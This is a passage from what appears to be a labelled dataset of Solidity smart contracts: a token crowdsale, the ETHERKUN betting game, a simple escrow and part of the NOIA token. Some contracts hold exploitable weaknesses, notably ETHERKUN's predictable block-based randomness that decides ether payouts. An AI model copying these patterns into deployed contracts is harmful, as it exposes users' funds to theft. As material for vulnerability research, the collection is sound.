}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MediLiVes Token";
string public constant TOKEN_SYMBOL = "MLIV";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x3e9611D1b334C1631F756bF1F42BE071cCbE66d4;
uint public constant START_TIME = 1563561000;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[4] memory weiAmountBounds = [uint(50000000000000000000),uint(10000000000000000000),uint(10000000000000000000),uint(1000000000000000000)];
uint[4] memory weiAmountRates = [uint(1000),uint(500),uint(0),uint(250)];
for (uint j = 0; j < 4; j++) {
if (_weiAmount >= weiAmountBounds[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(9000 * TOKEN_DECIMAL_MULTIPLIER, 0xFB262Fe4620e7027424488F6C471b13DE7662A95, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1568917800)
CappedCrowdsale(111111111111111111111111)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[2] memory addresses = [address(0x57fc4fcd5e9d5954da2a8943743ca0e46291ea1d),address(0x5ba2168ddbf65df7c904b822fa1db73088d16e87)];
uint[2] memory amounts = [uint(9000000000000000000000000000),uint(2000000000000000000000000000)];
uint64[2] memory freezes = [uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 250000000000000000;
return super.hasClosed() || remainValue;
}
function setStartTime(uint _startTime) public onlyOwner {
require(now < openingTime);
require(_startTime > openingTime);
require(_startTime < closingTime);
emit TimesChanged(_startTime, closingTime, openingTime, closingTime);
openingTime = _startTime;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function setTimes(uint _startTime, uint _endTime) public onlyOwner {
require(_endTime > _startTime);
uint oldStartTime = openingTime;
uint oldEndTime = closingTime;
bool changed = false;
if (_startTime != oldStartTime) {
require(_startTime > now);
require(now < oldStartTime);
require(_startTime > oldStartTime);
openingTime = _startTime;
changed = true;
}
if (_endTime != oldEndTime) {
require(now < oldEndTime);
require(now < _endTime);
closingTime = _endTime;
changed = true;
}
if (changed) {
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 250000000000000000);
require(msg.value <= 1000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 1 | 3,290 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a / b;
return c;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a / b;
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
contract ETHERKUN {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function ETHERKUN() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
using SafeMath for uint256;
uint cooldownTime = 10 minutes;
struct kun {
uint price;
uint atk;
uint readyTime;
}
kun[] public kuns;
mapping (uint => address) public kunToOwner;
function getKun() external {
uint id = kuns.push(kun(0, 0, now)) - 1;
kunToOwner[id] = msg.sender;
}
function getKunsByOwner(address _owner) external view returns(uint[]) {
uint[] memory result = new uint[](kuns.length);
uint counter = 0;
for (uint i = 0; i < kuns.length; i++) {
if (kunToOwner[i] == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function getKunsNum() external view returns(uint) {
return kuns.length;
}
function getBattleKuns(uint _price) external view returns(uint[]) {
uint[] memory result = new uint[](kuns.length);
uint counter = 0;
for (uint i = 0; i < kuns.length; i++) {
if (kuns[i].price > _price && kunToOwner[i] != msg.sender) {
result[counter] = i;
counter++;
}
}
return result;
}
uint randNonce = 0;
uint public testFee = 0.001 ether;
event Evolution(address indexed owner, uint kunId,uint newAtk, uint oldAtk);
event KunSell(address indexed owner, uint kunId,uint price);
function randMod() internal returns(uint) {
randNonce = randNonce.add(1);
return uint(keccak256(now, randNonce, block.blockhash(block.number - 1), block.coinbase)) % 100;
}
function setTestFee(uint _fee) external onlyOwner {
testFee = _fee;
}
modifier onlyOwnerOf(uint _kunId) {
require(msg.sender == kunToOwner[_kunId]);
_;
}
function _triggerCooldown(kun storage _kun) internal {
_kun.readyTime = uint(now + cooldownTime);
}
function feed1(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
uint random = randMod();
if (random < 20) {
mykun.atk = mykun.atk.add(50);
} else if (random < 70) {
mykun.atk = mykun.atk.add(100);
} else if (random < 90) {
mykun.atk = mykun.atk.add(200);
} else {
mykun.atk = mykun.atk.add(500);
}
mykun.price = mykun.price.add(msg.value);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function feed10(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee * 10);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
uint random = randMod();
if (random < 20) {
mykun.atk = mykun.atk.add(550);
} else if (random < 70) {
mykun.atk = mykun.atk.add(1100);
} else if (random < 90) {
mykun.atk = mykun.atk.add(2200);
} else {
mykun.atk = mykun.atk.add(5500);
}
mykun.price = mykun.price.add(msg.value);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function feed50(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee * 50);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
uint random = randMod();
if (random < 20) {
mykun.atk = mykun.atk.add(2750);
} else if (random < 70) {
mykun.atk = mykun.atk.add(5500);
} else if (random < 90) {
mykun.atk = mykun.atk.add(11000);
} else {
mykun.atk = mykun.atk.add(27500);
}
mykun.price = mykun.price.add(msg.value);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function feed100(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee * 100);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
uint random = randMod();
if (random < 20) {
mykun.atk = mykun.atk.add(6000);
} else if (random < 70) {
mykun.atk = mykun.atk.add(12000);
} else if (random < 90) {
mykun.atk = mykun.atk.add(24000);
} else {
mykun.atk = mykun.atk.add(60000);
}
mykun.price = mykun.price.add(msg.value);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function feed100AndPay(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee * 110);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
mykun.atk = mykun.atk.add(60000);
mykun.price = mykun.price.add(testFee * 100);
owner.transfer(testFee * 10);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function sellKun(uint _kunId) external onlyOwnerOf(_kunId) {
kun storage mykun = kuns[_kunId];
if(now > mykun.readyTime) {
msg.sender.transfer(mykun.price);
KunSell( msg.sender, _kunId, mykun.price);
} else{
uint award = mykun.price * 19 / 20;
msg.sender.transfer(award);
owner.transfer(mykun.price - award);
KunSell( msg.sender, _kunId, mykun.price * 19 / 20);
}
mykun.price = 0;
mykun.atk = 0;
kunToOwner[_kunId] = 0;
}
event kunAttackResult(address indexed _from,uint atk1, address _to, uint atk2, uint random, uint price);
function _isReady(kun storage _kun) internal view returns (bool) {
return (_kun.readyTime <= now);
}
function attack(uint _kunId, uint _targetId) external onlyOwnerOf(_kunId) {
kun storage mykun = kuns[_kunId];
kun storage enemykun = kuns[_targetId];
require(_isReady(enemykun));
require(enemykun.atk > 299 && mykun.atk > 0);
uint rand = randMod();
uint probability = mykun.atk * 100 /(mykun.atk + enemykun.atk) ;
if (rand < probability) {
msg.sender.transfer(enemykun.price);
kunAttackResult(msg.sender, mykun.atk, kunToOwner[_targetId], enemykun.atk, rand, enemykun.price);
enemykun.price = 0;
enemykun.atk = 0;
mykun.readyTime = now;
} else {
uint award1 = mykun.price*9/10;
kunToOwner[_targetId].transfer(award1);
owner.transfer(mykun.price - award1);
kunAttackResult(msg.sender, mykun.atk, kunToOwner[_targetId], enemykun.atk, rand, mykun.price*9/10);
mykun.price = 0;
mykun.atk = 0;
}
}
} | 1 | 5,370 |
pragma solidity ^0.4.18;
contract SimpleEscrow {
uint public PERIOD = 12 days;
uint public SAFE_PERIOD = 5 days;
address public developerWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770;
address public customerWallet;
uint public started;
uint public orderLastDate;
uint public safeLastDate;
address public owner;
function SimpleEscrow() public {
owner = msg.sender;
}
modifier onlyCustomer() {
require(msg.sender == customerWallet);
_;
}
modifier onlyDeveloper() {
require(msg.sender == developerWallet);
_;
}
function setDeveloperWallet(address newDeveloperWallet) public {
require(msg.sender == owner);
developerWallet = newDeveloperWallet;
}
function completed() public onlyCustomer {
developerWallet.transfer(this.balance);
}
function orderNotAccepted() public onlyCustomer {
require(now >= orderLastDate);
safeLastDate += SAFE_PERIOD;
}
function failedByDeveloper() public onlyDeveloper {
customerWallet.transfer(this.balance);
}
function completeOrderBySafePeriod() public onlyDeveloper {
require(now >= safeLastDate);
developerWallet.transfer(this.balance);
}
function () external payable {
require(customerWallet == address(0x0));
customerWallet = msg.sender;
started = now;
orderLastDate = started + PERIOD;
safeLastDate = orderLastDate + SAFE_PERIOD;
}
} | 1 | 5,096 |
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ITokenReceiver {
function tokensReceived(
address from,
address to,
uint256 amount
) external;
}
contract TokenRecoverable is Ownable {
using SafeERC20 for IERC20;
function recoverTokens(IERC20 token, address to, uint256 amount) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
require(balance >= amount, "Given amount is larger than current balance");
token.safeTransfer(to, amount);
}
}
contract NOIAToken is TokenRecoverable, ERC20 {
using SafeMath for uint256;
using Address for address;
using ECDSA for bytes32;
string public constant name = "NOIA Token";
string public constant symbol = "NOIA";
uint8 public constant decimals = uint8(18);
uint256 public tokensToMint = 1000000000e18;
address public burnAddress;
mapping(address => bool) public notify;
mapping(bytes32 => bool) private hashedTxs;
bool public etherlessTransferEnabled = true;
event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
modifier onlyEtherlessTransferEnabled {
require(etherlessTransferEnabled == true, "Etherless transfer functionality disabled");
_;
}
function register() public {
notify[msg.sender] = true;
}
function unregister() public {
notify[msg.sender] = false;
}
function enableEtherlessTransfer() public onlyOwner {
etherlessTransferEnabled = true;
}
function disableEtherlessTransfer() public onlyOwner {
etherlessTransferEnabled = false;
}
function transfer(address to, uint256 value) public returns (bool) {
bool success = super.transfer(to, value);
if (success) {
_postTransfer(msg.sender, to, value);
}
return success;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
bool success = super.transferFrom(from, to, value);
if (success) {
_postTransfer(from, to, value);
}
return success;
}
function _postTransfer(address from, address to, uint256 value) internal {
if (to.isContract()) {
if (notify[to] == false) return;
ITokenReceiver(to).tokensReceived(from, to, value);
} else {
if (to == burnAddress) {
_burn(burnAddress, value);
}
}
}
function _burn(address account, uint256 value) internal {
require(tokensToMint == 0, "All tokens must be minted before burning");
super._burn(account, value);
}
function mint(address to, uint256 value) public onlyOwner returns (bool) {
require(tokensToMint.sub(value) >= 0, "Not enough tokens left");
tokensToMint = tokensToMint.sub(value);
_mint(to, value);
_postTransfer(address(0), to, value);
return true;
}
function burn(uint256 value) public {
require(msg.sender == burnAddress, "Only burnAddress can burn tokens");
_burn(msg.sender, value);
}
function setBurnAddress(address _burnAddress) external onlyOwner {
require(balanceOf(_burnAddress) == 0, "Burn address must have zero balance!");
burnAddress = _burnAddress;
}
function transferPreSigned(
bytes memory _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
onlyEtherlessTransferEnabled
returns (bool)
{
require(_to != address(0), "Transfer to the zero address");
bytes32 hashedParams = hashForSign(msg.sig, address(this), _to, _value, _fee, _nonce);
address from = hashedParams.toEthSignedMessageHash().recover(_signature);
require(from != address(0), "Invalid signature");
bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams));
require(hashedTxs[hashedTx] == false, "Nonce already used");
hashedTxs[hashedTx] = true;
